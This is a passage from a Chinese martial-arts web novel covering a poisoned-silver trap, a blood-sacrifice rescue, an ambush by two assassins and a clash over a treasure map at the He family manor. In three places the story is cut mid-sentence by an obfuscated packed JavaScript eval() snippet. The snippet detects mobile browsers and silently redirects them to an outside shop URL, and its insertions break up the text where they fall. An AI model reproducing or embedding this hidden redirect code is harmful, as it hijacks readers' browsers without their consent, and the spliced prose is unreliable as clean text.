紫瑛又取过装银子的匣子捧给她:“有了这些钱,你就可以重新买些桌子凳子,把这里变得更加敞亮,客人也会源源不断!” 珍娘打开匣子,里头白花花地银子有大有小,挤在一处,是她这辈子从未见过的数目。她捡起一颗碎银,喃喃地道:“这些钱够我把店扩一扩,再多请几个伙计了。” “那敢情好呀,以后你就是更大的老板了!”紫瑛也笑着抓起一把银子来把玩。 瑾瑜瞅了一眼,突然叫道:“这银子好像不对!” “哪里不对?”紫瑛瞧着自己手上的,什么都没发现。 杜彦成从最下面抄起几颗,掂了掂:“这银子成色不太对,重量也不太对,像是里面搀了别的东西。” 其他人听到他的话,纷纷拿起几块碎银掂量起来。 紫璇取出匕首,将一块银子从中间斩开,其中果然是一些土渣。 “胡二竟然敢耍我们!”杜彦成气极。 “再去找他!”紫瑛马上道。 紫璇将匕首塞回靴子,拿上短剑就要出门。 “咣当!咣当!咣当!” 珍娘最先摔在了地上,紧接着紫瑛、瑾瑜、杜彦成也纷纷倒地。她急忙奔过去,只来得及听见江珺翊昏倒前的最后一句话:“银子上有毒!” 127. 中计 五人皆倒,口唇泛青,只有紫璇没有任何不适。她想都没想,抽出短剑划开手腕,挨个儿给没人喂了十来滴鲜血。 众人只接触了银子外表,时间又短,毒未入肌理骨血,应当不难解。果然,一刻钟之后,江珺翊最先睁开眼睛,随后其余人也纷纷苏醒。 “怎么回事?”杜彦成撑着地坐起来,头还有些发晕。 “银子上有毒。”江珺翊将气血运行一周,确地无碍后才回答了他的问题。 紫璇强撑着去摸了每个人的脉搏,都没有什么大问题,这才找了个凳子坐下来,手撑着额头轻喘。瑾瑜率先发现她腕上的伤口,包扎的布条已经被染红了,他猛地起身,还因为刚刚清醒气血没上来闪了一下。 “你怎么了?中毒后伤到了?”紧张之下,瑾瑜顾不得许多,抓住紫璇手腕凑上去细看。 “我没中毒。”紫璇轻轻将他的手抖落,然后将渗血的手腕藏到桌下,只说了这几个字。 她的遮掩并没能逃过紫瑛的眼睛,她很快明白过来,失神道:“你用你的血救了我们?” 一句话惹得杜彦成、瑾瑜和珍娘都瞪大了眼睛,难以置信地望向紫璇。 “我身上没带解药,只有这个法子最快。”既然已被识破,紫璇只好说实话。 “我也有药,可我没带出来,都怪我,这种东西就该随身带着的。”紫瑛懊恼得都要哭出来了。 紫璇脸色苍白,手也控制不住地发颤。瑾瑜立刻去盛了一碗热水,可还没来得及拿给紫璇,就被江珺翊抢了先,只见他伸出右掌覆在紫璇背上,不多会儿他和紫璇的额头均渗出汗珠。他将自身真气渡给紫璇,可解她一时的气血亏虚。 在他们身后,瑾瑜默默端着碗,惆怅之外还有深深地自责,自己……一直是什么忙都帮不上。 一炷香之后,紫璇面色较之刚才红润不少,但其中依旧隐隐泛着青色。从一句“多谢师兄。”中也能听出她的气息仍旧不是很稳。 “好了。”江珺翊退开一些,“你刚刚失血,身子虚,还不宜运功。这点真气够你支持一晚。明日我再看看你的情况。” 其他在一旁焦急等待的人这才松了一口气,纷纷行动起来。珍娘去仓库里抓了一把红枣扔进锅里,一边熬煮一边说道:“我听说红枣能补气血,我娘生病的时候我就给她熬汤喝。”瑾瑜则重新换了一碗热水过来。 “走!去找胡二算账!”紫瑛红着双眼叫道。 “对!找胡二,要不是我们提前打开匣子,到了明后日,珍娘就会死得不明不白!”杜彦成附和道。 除了紫璇和珍娘,其他三人都起身响应。不过在出门之前,江珺翊却停下来:“这里还是留个人较为稳妥。”又叫紫瑛,“你留下来照顾璇儿。” 紫瑛瞧了一眼频频回头的瑾瑜,将他推了出去:“方公子留下照看璇儿。我必得亲手宰了胡二这个杂碎!” ******************** 珍娘在灶台上忙活,瑾瑜坐到紫璇对面,用力地攥着手,强压下内心的酸涩,问道:“你现在感觉怎样?还有哪里不舒服吗?” 紫璇轻轻摇头,尽力笑了一笑。 看着她依旧发白的嘴唇和稍稍佝偻的身形,瑾瑜欲言又止,顿了许久才说了句:“对不起,我……” 为什么要跟她道歉,又不是他下的毒。紫璇很是不解,拿疑问的目光瞧着他。 “我……”其实连瑾瑜自己也说不上来刚刚为何会冒出那三个字。大概是觉得他没能尽到保护她的责任吧,可是自己又有什么资格保护她。 他低头盯着桌脚,仿佛又回到了瓜州沙暴的那天晚上,高镖头一个人费力帮骆驼挣脱,他光稳住自己就要花去所有力气,只能放任高京沛一个人走向死亡,什么都做不了。他总是这样,父亲小时候骂他不上进、软弱无能的话也同时闯进了头脑中。泪珠自他的眼中簌簌落下,倒让紫璇吓了一跳。 “我真的没事,有师兄渡给我的真气,又有金疮药裹伤,我不会没命的。只要休息一晚,明天就能自行运功,不过是虚弱几天就会完全好了……你……你不用这么着急……”紫璇说得很快,却不清楚到底该说什么怎么说才能让他不要这么难过。 “我这样,是不是特别让人讨厌?”瑾瑜却仿佛根本听不到她的生意,而是冷不丁问了别的问题。 这更令紫璇摸不到头脑,只能先回应:“没有。” 瑾瑜却自嘲地笑了,眼眶中的雾气尚未全部散去:“小时候但凡我很爱哭,爹就总会骂我软弱无能,之后就更要督促我练武,期望通过习武让我强健心智,不再那么爱哭又心软。可他越是这样,我就越抵触练功。我娘一味护着我,纵容我,我就乐得躲到她的羽翼下,每日只知道玩耍。直到遇见你,我才知道自己的功夫有多么不堪一击,在江湖中非但保护不了自己,还会连累别人。那时候我还大言不惭地说要保护你,如今想来真是令人笑掉大牙!我那里来的脸,敢对你说这句话……” “我并没有觉得你可笑……” 瑾瑜用力摆了摆脑袋,眼睛依然冲着地面。 “你说想保护我,只是出于对我的关心,不是故意瞧不起我。即便你能力不足,这份心意是实实在在的,我……很感谢。我一个人独来独往久了,偶尔有个人告诉我,我们可以一起走的时候,我还是……还是很开心的……” 这些话,自南阳起紫璇便想说给他听。可每次对着他又实在开不了口,若不是此刻瑾瑜这般失态又自怨自艾,估计她会一直将这些心里话藏起来。即便现在说了出来,她还是有所保留,没有继续往下。 不过瑾瑜并没有注意到她的犹豫和结巴,还是不住地摇着头:“可那有什么用呢?光有心根本不够,如果能像江兄这样从旁翼护于你,才算是……才算是有用。” “人的能力各有不同,也不是只有会武才算得上‘有用’。你曾经告诉我,人皆各有所长,何必拿自己的短处和别人的长处去比,不如多看看自己擅长的,继续努力。别的我不清楚,但你坦荡真诚仁义善良,帮助别人不遗余力,还懂得女子的不易,这些都是我亲眼所见。更何况,如果单以‘是不是对我有用’为标准将人分为三六九等,就不是交朋友,而是在找满足自己欲望的工具了。我并不是那样的人……” 这一次,紫璇说的每一个字都进到了瑾瑜心里,一丝笑意从他暗淡的脸色中绽放出来,但他的嘴角只弯了一瞬马上又被压了下去:“你是那种受了伤都不喊疼不会哭的人,坚强如斯,会嫌弃我这种爱哭鬼也是应当的。” “我不喊疼也不爱哭,可不是因为坚强,我只是……只是怕被人笑话而已。”紫璇憋了一会,还是说了实话。 瑾瑜抬起头,将紫璇看了又看,最后问道:“那你现在……手腕疼吗?” “疼。” 这个字终于让瑾瑜云开雨霁,紫璇也跟着笑了起来。 珍娘的红枣汤也好了,她直接连锅端了过来,一边走一边问:“你们说什么呢那么开心?” 紫璇顿了顿,冲瑾瑜眨眨眼睛,然后回答道:“再说方公子爱哭鼻子的事。”瑾瑜大笑,珍娘莫名其妙,却也没有再说什么破坏二人之间轻快的氛围,只顾着殷勤地给他们盛汤:“我煮得多,夜里天冷,你们先喝一碗,剩下的我热在火上,等他们回来就能喝。” 紫璇一勺一勺将滚烫的红枣汤送入嘴边,轻轻吹着气。瑾瑜的勺子在碗里打着转儿,眼睛再也没离开过她。许久,紫璇才发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508601|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现他灼灼的目光,回看过去时瑾瑜立刻把视线转移到了店外。 已经到了深夜,月亮升至中天,周围鸦雀无声。紫璇刚想说话,却蓦然听到似乎从远处传来两个人的脚步声响。 “有人来了!”她轻声道。 “他们回来了?”瑾瑜说着就要站起来。 紫璇马上拉住他,然后对珍娘飞快说道:“珍娘姐姐,你快找个地方躲起来,没有我们叫绝对不要出来。” “为什么?”瑾瑜和珍娘异口同声地问她。 “不是他们,来的另有其人,而且都是练家子!” 瑾瑜眉心蹙起,想再发问。紫璇又催促珍娘:“快躲进去,绝对不要出来。”继而对瑾瑜道,“只有两个人,我们一人一个,对付得了。” 她这般沉着,瑾瑜也咽下心慌,立刻拿起抽出剑身守在门边。下一刻,他的剑便挥向了试图闯进来的第一个人,那人通体穿白,使一双峨眉刺,一只迅疾荡开了瑾瑜的剑,另一只顺势斜出,差一点刺中瑾瑜胸口。 另一人全身裹在黑袍当中,便借此时跃入店中。他没有兵器,屈指成爪,企图攀向紫璇肩头。紫璇脚下一点,飞身向后,躲过黑袍客的猛攻。继而转身,短剑出手,自他的肩膀划至肘部,黑袍客吃痛,另一只手抓向她的剑。她立刻右足踏出,踢到对方的下巴,继而拔剑退开。 黑袍客踉跄两步,旋即再度扑上,这次抓的还是紫璇的肩膀,紫璇挥剑横扫,逼他退开,继而从他头顶劈下。黑袍客随即矮身、将自己团成一团后滚了开去,模样极尽狼狈但身法足够迅捷,显然是他的得意招数。 紫璇这几招,招招用了九成力,她刚刚才失了气血,这般动武实难久持,必须快刀斩乱麻将来人击毙,这样他们三人才有生机。但对方武功不低,似乎有意和她周旋,即刻间很难拿下。相比之下,白衣人攻势则凌厉得多,每一招都想结果了瑾瑜,瑾瑜只能依靠轻功勉强保全自己,饶是如此,他的身上还是多了大大小小十数道伤口。 又对了几招,紫璇渐渐发觉黑袍客所用的招式皆非杀招,仿佛只想等她力竭之后将其擒住。她便故意放慢调子,一边抵挡一边退向瑾瑜那一侧。 瑾瑜纵身躲开袭来的白衣人,刚跃到半空,白衣人将峨眉刺往前一送,直接扎进了他的小腿。瑾瑜立即泄了力道,从空中翻将下来。 紫璇心跳猛地慢了一拍,她即刻跨出一大步,稳住他骤然下落的身子,一屈膝,将他腿上的峨眉刺拔了出来,顺势向着白衣人斩落,应变之快完全超出白衣人的预料,他尚未反应过来,脸颊就被紫璇削去一半。 与此同时,黑袍客也从后面攻了过来。瑾瑜率先发觉,却因站立不住使不出招数,只能张开臂膀将紫璇护在身前,帮她挡下一爪,后背上顿时显出五道划痕。紫璇屈身反转,绕过有些站不稳的瑾瑜,短剑自下而上贯穿了黑袍客的胸口。瑾瑜忍住背上的痛楚,也回身踹了他一脚,那人立刻如木头一般直挺挺倒了下去。 脸上鲜血淋漓的白衣人还没有死心,他将左手的峨眉刺交于右手,不去攻击紫璇,反而跳起来刺向瑾瑜。瑾瑜踢出一脚后重心不稳,仅靠紫璇扶着才没有摔倒,此刻白衣人从天而降,他已然没有丝毫招架之力。 千钧一发之际,紫璇松开他手,仍由他向后瘫软,自己则运劲于掌,自白衣人下方击中了他的膻中穴。白衣人猛地颤动了一下,继而倒在了门边。 紫璇几乎和他一同伏地,随后喷出一口鲜血,奄奄难以支持。瑾瑜大骇不已,挣扎起身过去想将她扶起。 “我们中计了!”紫璇撑着最后一口气,说完最后的话才昏死过去,“胡二不过是调虎离山的诱饵,这二人乃是出自峨眉的‘黑白双煞’,有人一直在跟踪我们!” 128. 纷争(一) 贺家庄。 今日一早起就有不少人持着帖子来拜庄,还有一些蛮横的江湖人连帖子都没备,准备直接往里闯。 贺永识提前盘算过,若将这么多人拦在外面,只会让他们勾结在一起来为难贺家庄,不如将所有人客客气气的请进来,说不定更容易将其分而治之。 最先到来的是咱们的熟面孔,太湖水匪之首郝鹏组和芙蓉山庄林夫人。这之后河东谢氏谢立梁、流沙帮帮主邓钊和响水帮项二爷也陆续带着自己的人马进到庄内。 至于其他不属于任何门派的江湖人更是多如牛毛。其中就有以私人身份前来的冉宗杰和齐熙宁。齐熙宁自那日负气离开之后,便快马赶往太原。冉宗杰行镖已毕,已将镖队遣回金陵,自己等到齐熙宁后便南下西河,特地来瞧一瞧今日贺家庄的热闹。而吴先生及他的两个徒儿则姗姗来迟,与先到的诸人一一见礼。 每个人都对其他人来此的目的心知肚明,试探的不过是知道的消息多少。一番你来我往之后,众人发现大伙儿所知似乎都差不太多,无外乎贺永诏过去在天魄门的地位及他曾陪着苏明启探访过藏宝之地的传闻。 后堂之中,曹家堡堡主卢金良与贺永识分宾主而坐,贺新峦在一侧作陪。 茶已经喝了一半,该说得都说得差不多了,只剩下最后一个问题。 “贺永诏的女儿在你手上?”卢金良问。 “那是自然,她一个孤身前来的弱女子,能有多大本事?我和爹没花什么力气就把人拿下了。如今正软禁在庄中。” “那贺兄可有审问过?她到底知不知道贺永诏留下的东西在哪里?” 贺永识拦住又想抢着发言的贺新峦,斟酌着答道:“她是我大哥的爱女,大哥死前她已经十五岁了,肯定多少知道一些事情。且她回来的第一天夜里就想偷偷潜入书房,说明她的目的很明确,大哥若留下了什么线索,就一定藏在书房里。” “这叫什么话?意思是你们只有猜测?”卢金良马上听出不妥,质问道。 贺永识背上发热,面上确保持镇定:“那丫头嘴硬,不肯道出真情。我三妹又一向和大哥关系好,说什么都要护着那个丫头。贺家庄危机在即,三妹于我还有用处,审问贺新韵的事情也就不能急于一时。” “你究竟想说什么?”从他的语气里,卢金良听出了话外之意。 “如若我贺家庄不能摆脱今日危机,即便能从她口中问出些什么也必然派不上用场。不如等一切尘埃落定,我们再好整以暇地去审,不怕找不出宝藏的线索。” 贺永识十分清楚,卢金良极其背后之人之所以愿意出力庇护贺家庄,无非是为了贺永诏可能留下来线索,自己如果予取予求,这么早就把底牌交出去,对贺家庄并没有半点好处。所以他故意只软禁贺新韵,却从不找她打听贺永诏的事情,既是为了卖贺永芳一个人情,让她在三日内用心布置庄中攻防,也是为了牵制卢金良,让他务必帮贺家庄脱离险境。 话已至此,卢金良也明白了他的心思,再无其他话好讲。两人虚情假意几句后便一起出了后堂,往前厅而来。 前厅上的江湖人早就等得不耐烦,纷纷闹起来:“你家庄主好大的面子,我们这么多人都请不动他吗?” 贺永芳安抚了几次,眼看着再也想不出来搪塞的理由,郝鹏组马上就要冲到后面去,贺永识终于出现了。 他先向众人告罪,以和曹家堡堡主老友久别,故而多说了几句为由解释了自己来迟的原因,又向大家介绍卢金良,然后将他让与首座。 卢金良入座后的第一件事,是和谢立梁交换颜色,谢立梁无声的摇了摇头,卢金良又不动声色地环顾了全场,这才确信天魄门无人前来。这么说,少主的计策奏效了,天魄门的援兵已被挡在西河之外?他好整以暇,只待好戏上演。 “诸位一道前来,可是要问贺某打听何事?贺家庄在打探消息上虽有些手段,但一向不涉江南之事。只怕这桩生意有些难做呀。”贺永识捋一捋胡子,眼睛看向来自江南的几个人。 他故意将众人的来意曲解成情报生意,郝鹏祖却不买他的账。他舞起两条大臂膀,嚷道:“贺永识,少说这些没用的,快把贺永诏留下的藏宝图交出来!” 其实江湖传言中没有任何一句提到贺永诏手中有藏宝图,只是众人揣测,贺永诏身为唯一的知情人不可能不把藏宝之地记录下来,以为后用。郝鹏组心直口快,不仅把这种揣测当了真,还要公之于众。 贺永识的策略是先装傻,然后再引卢金良为翼护,让这些人知难而退。所以他这样回应:“郝寨主这话从何而来?什么藏宝图?” “前庄主贺永诏是苏明启的左护法,苏明启死后就是唯一知道天魄门宝藏所在的人。他身前难道就没有留下什么东西?”林夫人较为理智,为郝鹏组的鲁莽做一点找补。 “我兄长离世十载,要是真留下了什么东西,绝不可能无人知晓。你们所说的‘藏宝图’,在下的确从未见过,也没有听说过。” 他答得越是从容不迫,众人就越是不满。 邓钊也坐不住了,想也没想便道:“毕竟事关天魄门的秘宝,焉知不是被你藏了起来?” 这话相当于直接把贺家庄放到了群豪的对立面,众人听后都直勾勾地盯着贺永识。 贺永识拉下脸,语气不善:“邓帮主说话小心些!毫无根据的揣测只会伤了我们两家的和气。” “贺庄主切莫动气,邓帮主也只是一时口快而已。”吴先生出来说和,“我们今日前来,就是想打听前庄主贺永诏生前是否留下了什么关于天魄门宝藏或是藏宝图的线索。据我所知,贺家庄早已脱离了天魄门,就算是将藏宝图出示于这里的所有人,贺庄主也不算是背信弃义,我等将来在江湖上必然是向着贺家庄的。” 他挥舞了两下钢扇,继续道:“就请贺庄主不要避讳,把实情说出来吧。” 贺永识起身,对着厅上众人抱拳:“各位江湖前辈、武林同道,贺某刚才所说皆为事实,绝无半句虚言。诸位知道,我兄长去世时正当壮年,彼时没人料到他会去得那么突然,别说什么藏宝图的线索,就连遗嘱他都没有留下。诸位如若不信,贺某真就无话好说了。” 郝鹏组和坐在自己对面的邓钊对视了一眼,都不十分相信。其余江湖人也窃窃私语,掂量着他这番话里到底有多少水分。 郝鹏组率先发难:“你没找到不代表他没留下,这里这么些人,只要把贺家庄翻个底朝天,不怕找不出贺永诏留下的只言片语!”说着便亮出鱼叉,他身后的太湖水匪也鼓噪起来。 一直立在贺永识身后的贺新峦,听着这等挑衅之语,立刻拔出佩剑挡在父亲身前,大喝:“贺家庄是什么地方,岂能容你们这般放肆?!” 流沙帮和芙蓉山庄的人也纷纷站起,举着兵刃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519275|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,与贺家庄的护院成对垒之势。 贺永识冷笑一声,也从座位上起来:“想把贺家庄踩在脚下,可没有诸位想得那么容易!” “都说了是踩,那就别用嘴,动手吧!” 郝鹏组立刻冲了上来,林夫人和邓钊也随即跟上,向着贺家庄的人砍杀过去。一些同样急不可耐的江湖人浑水摸鱼,也向贺家庄的人发起了进攻。然而,响水帮众人和吴先生的两个弟子却站到了贺家庄一边,和流沙帮和一众太湖水匪斗在了一起。 贺新峦的剑架住了郝鹏组的鱼叉,邓钊的短刀递到了贺永识面前,林夫人正在和贺家护院中的高手对阵。几招之后,郝鹏组划伤了贺新峦,贺永识避过了邓钊的攻势,而林夫人放倒了两个护院,正在应对随后而来的其他人。 邓钊短刀刷刷刷抡得起劲,不住地往贺永识身边招呼,贺永识拳脚不佳,只能靠着身法勉强闪躲,吴先生见他支持地艰难,扇子一展,闪进战团,从后面给了邓钊一下。邓钊吃痛,立刻翻身和吴先生缠斗。 院外,贺永芳指挥贺家庄埋伏的人丁启用预先埋伏好的机关,放倒了不少杀到外围的江湖人。 正厅上,贺新峦多处受伤,贺永识帮着他以二对一才能面对郝鹏组不至落败。邓钊被吴先生压制住了,已露败相。林夫人虽然强悍,但面前三四个练家子一齐上阵,也要花一番功夫应对。 贺永识见卢金良站在一旁观战,不爽他置身事外,趁着打斗间隙向他吼道:“卢堡主!你不动一动吗?!” 卢金良观察战局,只要再多一会儿,邓钊和林夫人必败,只有郝鹏组,疯了一般地进招,贺新峦又是个草包,帮不上父亲还总是要让他分身去救。他握爪成拳,飞身落在郝鹏组身侧,在他滚地击出鱼叉之际,将拳头砸在了他的头顶。郝鹏组大叫一声,即刻滚到卢金良脚边,要断他的脚筋。卢金良斜斜避过,继续和他相斗。 贺永识和儿子贺新峦终于能够喘气,忙退到后面观战。 稍等片刻,邓钊便被吴先生踩到了脚下,林夫人被对手制住,缴了兵器,郝鹏组则在一番狂攻猛击之后败下阵来,被卢金良几拳打得鲜血直喷。林夫人立刻跑去扶起倒地的他,关心他的伤势。 郝鹏组还在喘气,说不出话,卢金良先蔑笑道:“郝寨主这般不要命的打法,我为了自保,下手重了些,林夫人莫怪,莫怪。” 林夫人睚眦欲裂,想冲上去剐了他却苦于没有兵刃在手,只好暂时忍耐。 发难的人均被制伏,贺永识将儿子暂且安置到后面,赶忙叫人给他裹伤,自己则再度站到众人面前,朗声道:“在座诸位豪杰,还要与贺家庄作对吗?” 其余没有动手一直观望的人见贺家庄布置得意,还早早请好了帮手,自己绝没可能在这种情势下讨到好处,已经后悔今日贸贸然闯进来了,哪里还有人敢接贺永识的话? 贺永识见到此状,便知这次的筹谋起了作用,他心中大石落下,笑道:“诸位若愿与贺家庄修好,就是我贺某的朋友,在下吩咐下人们搬出席面来,咱们喝酒说笑,将今日之事揭过,诸位以为如何?” 一旦同意贺永识的提议,就意味着众人今日出师全面落败,以后就再也不能向贺家庄打听藏宝图之事,是以又是没有一个人肯接他的话茬。 两边正在暗自较劲,一道女声自厅外响起:“二叔未免也太天真了,今日之事可没有那么容易揭过!” 129. 纷争(二) 贺新峦听见声音,顾不上裹了一半的伤,立刻从后面闪出来,待瞧见厅上站着的居然是贺新韵之后,他几乎无法相信自己的眼睛。 贺永识也早已没了刚才那副志得意满的模样。要知道,他为了看住贺新韵,将庄中身手最好的两个人留在了贺永芳的院中。贺新韵能毫发无伤地站在这里,说明她的背后还有其他人。 厅上群豪中,只有项二和卢金良知道贺新韵的身份。卢金良斜眼瞧着贺永识,想知道这是怎么回事,可贺永识此刻心乱如麻,根本没有注意到他的脸色。 贺新韵将所有人或错愕或不解的表情尽收眼底:“倒是有趣,这么些人来贺家庄打听我爹是否留下遗物,却没有一个人来通知我这个女儿。二叔,怎么,侄女就如此见不得人吗?” 她自爆身份,果然引来厅上江湖人更加灼热的目光。毕竟,大家的目的就是藏宝图。贺永诏的秘事,就算贺永识真的不清楚,他的亲生女儿总该了解一二吧。 贺新韵来之前并没有跟贺永芳详细交代过自己要做什么,只告诉她,按贺永识的要求布置好庄中机关,并尽可能让贺家庄内的低等护院和下人们都听她贺永芳一人号令即可,最好不要在明面上让贺永识察觉她有二心。因此,自贺新韵进厅,贺永芳便默默隐身,也未显露出任何知晓她意图的举动。 贺永识仍旧不发一语,他还在费力思索,贺新韵此举的目的究竟是什么。 一切皆在掌握之后,贺新韵露出微笑,朝正厅四周的下人们道:“我站了这么久,都没有给我看座。看来我这个贺家庄大小姐果真没什么分量。” 贺永芳暗暗冲离自己最近的一个家丁使了个眼色,那人立马搬出一把椅子,加在了贺永识之下。众人的目光跟随着贺新韵,就等她继续开口说出点有用的东西。 她却不慌不忙,像是看不见那些泛红的眼睛,只管大刺刺坐下,又给自己要了一杯茶,方才好整以暇道:“江湖上的传闻没错,我爹的确受天魄门前门主苏明启命令,随他一起去寻找过天魄门的秘宝……” 此话一出,即便是受了重伤的郝鹏组都忘了疼痛,屏气凝神,听着她的下文: “不过,他们虽然找到了藏宝图所标识的地方,却没有发现所谓的宝藏,铩羽而归,也是因为这个原因,苏门主这才急火攻心,于不久之后故去。” 她的后半句就如一瓢冷水交在了烧热的铁板上,不但没有浇灭群豪的急迫,反而让局面更加沸腾。 “你说的是真的?” “苏明启没找到宝藏?” “我不信!都说苏明启苦心孤诣,花费了十数年功夫,怎么可能功亏一篑!” …… 贺新韵并不辩解,而是等着群豪把所有怀疑尽数吐出,一直到声音渐次消失,她才继续道:“我知道的就是这些,有我爹身前留下的书信一封,可以证明。” 群豪的注意力旋即被她高举在手上的一张信纸吸引过去。谢立梁立刻起身,想接过来看。贺新韵将信纸收回,轻笑道: “保险起见,最好找三位来路不同的前辈同时验看,这样才不会被有心之人故意歪曲,回过头还要污蔑我说的是假话。” 谢立梁被她的话噎住,一时想不出反驳的理由。 贺新韵环视厅上,最先看到的就是冉宗杰:“长风镖局副总镖头冉宗杰前辈在座,可否替小女做个见证?” 贺永识和卢金良这才注意到原来这里还有长风镖局的人,均吃了一惊。 冉宗杰缓缓站起,先向贺永识抱拳:“冉某正好去太原走了一趟镖,路过此地,便想带着自家晚辈来瞧瞧热闹,便没有递长风镖局的帖子。不想竟被贺大小姐瞧了出来,实在惭愧。”然后又道,“要是贺庄主不反对,在下愿意帮贺大小姐的这个忙。” 贺新韵才不管贺永识同不同意,继续道:“林夫人,可否请你也来一起阅看我父亲的书信?” 正在郝鹏组身侧给他喂下补药的林夫人吃了一惊,实在没想到自己会被贺新韵点到,见她目光真诚,当即便说“好。” 然后,贺新韵才看向还站在她身前的谢立梁:“谢叔叔想看,那就一起吧。” 她将手中书信交于冉宗杰,三人聚在一处从第一个字看了起来。 贺永诏在死前托贺新韵带去天魄门的书信中,的确提到自己陪苏明启寻宝但未果的事情,贺新韵拿出来的便是这封信的第一页。 三人看罢,都没有说话,群豪中性急的人便立刻打问起来。 “若这真是故贺庄主的亲笔书信,那么根据信上所写,故去的苏门主的确没能找到天魄门的宝藏。”冉宗杰朗声道。林夫人和谢立梁也在他说完之后点了头。 “诸位如果怀疑这信并非我爹亲笔,大可以请我二叔开书房取出我爹留存的文稿一一比对。”贺新韵补上一句。 仍有人不死心,在人群中喊道:“只要有藏宝地,怎么可能会没有宝藏?他们没找到,咱们再去接着找不就是了!” 一言激起三层浪,不少人都觉得他说的甚是有理,纷纷喊叫起来。 贺新韵变了脸色,冷笑道:“宝藏有没有?是不是在所谓的藏宝之地?这些虽然无人得知,但有一件事确实板上钉钉,诸位难道忘记了?” “什么事?”别说在座群豪好奇,贺永识也想问,她闹这一出,到底打得什么算盘。 “宝藏也好、藏宝图也好,不管江湖上的人如何眼红、如何欲取之而后快,都越不过一个基本的道理——这两样东西自始至终都是天魄门之物,旁人不得染指!” “贺家庄十年前就脱离了天魄门,你这话说地不妥!” 贺永识的反驳立刻引来群豪附和,他们早就打听过贺家庄和天魄门的关系,对于二者的分崩离析喜闻乐见。 “二叔此言差矣!我爹脱离天魄门实则出于苏门主临终前授意,目的是掩人耳目,保守宝藏的秘密。可没想到,他过去的行踪还是为人识破,觊觎宝藏之人妄图从他的口中得知宝藏下落,这才害死了他!而我爹通过种种端倪预知了这份危险,这才遣我娘和我远赴太白山,将此中真相告知当时天魄门的门主文远骥和苏明启的夫人许淑平。他还在信中明确提及,贺家从未背离天魄门,求许、文二位前辈理解他此前的不得不为并庇佑贺家庄。” 说罢,她一扬手,手中又多了一张信纸,正是刚刚那一张的后续。她将后半封信仍旧交到冉宗杰手中,三人凑在一起读完,都认可了贺新韵所言非虚。 卢金良即刻向贺永识使眼色,贺永识从主座上疾走下来,想从冉宗杰手中夺那封信。冉宗杰早有防备 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533553|130825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,早在他动身之时便不动声色地向后退开几步,同时将拿信的手背在了身后。 贺永识若要硬抢不免落人话柄,只好挺住脚步,对着贺新韵反驳道:“不可能!大哥脱离天魄门之心甚坚,不仅不参当时的门主之争,自离开后还小心不和天魄门的任何人有一点联系。你现在带着这封来路不明的书信就想要颠倒黑白,决定贺家庄的归属?是不把我放在眼里吗?” 贺新韵却一点也不急,仍是慢慢悠悠说道:“二叔没听见我刚才说的话吗?爹爹做出那番姿态乃是前门主苏明启的命令。如果他真心想要脱离,又为何会在临终前让娘和我去投奔天魄门呢?” “当时庄主接连发生怪事,大哥担心有人作怪,为了保护你和大嫂的安全,这才想出此等策略……” “哦?”贺新韵眉毛扬起,“那就奇怪了,我爹既然担心我和娘为人所害,为何不将我们托付给二叔你,却要千里迢迢去向自己已经声明割席天魄门求助?难道自己的亲弟弟还不如这个他早就想要离开的上封可靠?” 这话打中了贺永识的七寸,他再怎么辩驳都说不通,一张脸登时涨得通红,一个字也说不出来。 “我爹既然能为我们母女筹谋,自然也不会忘记给二叔一个交代。我猜想,爹爹预知风险将至,你作为他的继承人,他也必定会向你说明此中情由,并叮嘱你贺家作为天魄门的下属该当如何行事吧?”贺新韵昂起头,目不转睛地望着贺永识,等着他的回应。 “没有!”贺永识立刻否认,“兄长为奸人所害,走得甚急,故而身前未能留下只言片语。” “哦~”贺新韵故意拉长声调,“这样说来,二叔也是蒙在鼓里,这才未能按照前庄主的意愿行事呀。不过不要紧,爹爹亲笔遗言在此,你就按前庄主的意思办吧。” “不可!”贺永识飞快出声后却陷入停顿,许久,才在众人灼热的注视下说道:“贺家庄不与天魄门来往已有多年,早就算不上其麾下翼属……更何况天魄门已今非昔比,如今再谈此事不合时宜。” 贺新韵安然等他说完,然后露出心知肚明的微笑:“我明白了,在二叔眼里,原本的隶属关系根本无关紧要,自己随时随地都能换一个更厉害的上封。难怪你要和暗害天魄门的敌手站在一起,原来是觉得对方比文门主更强一些呀。” 她最后一句尚未说完,贺永识就已经大喊“没有!”,奈何她的声音更高,语速更急,所说的内容也更令群豪好奇。是以,他的驳斥落在群豪耳中的就只有最后一句:“……血口喷人!我何时要与文门主作对?!” 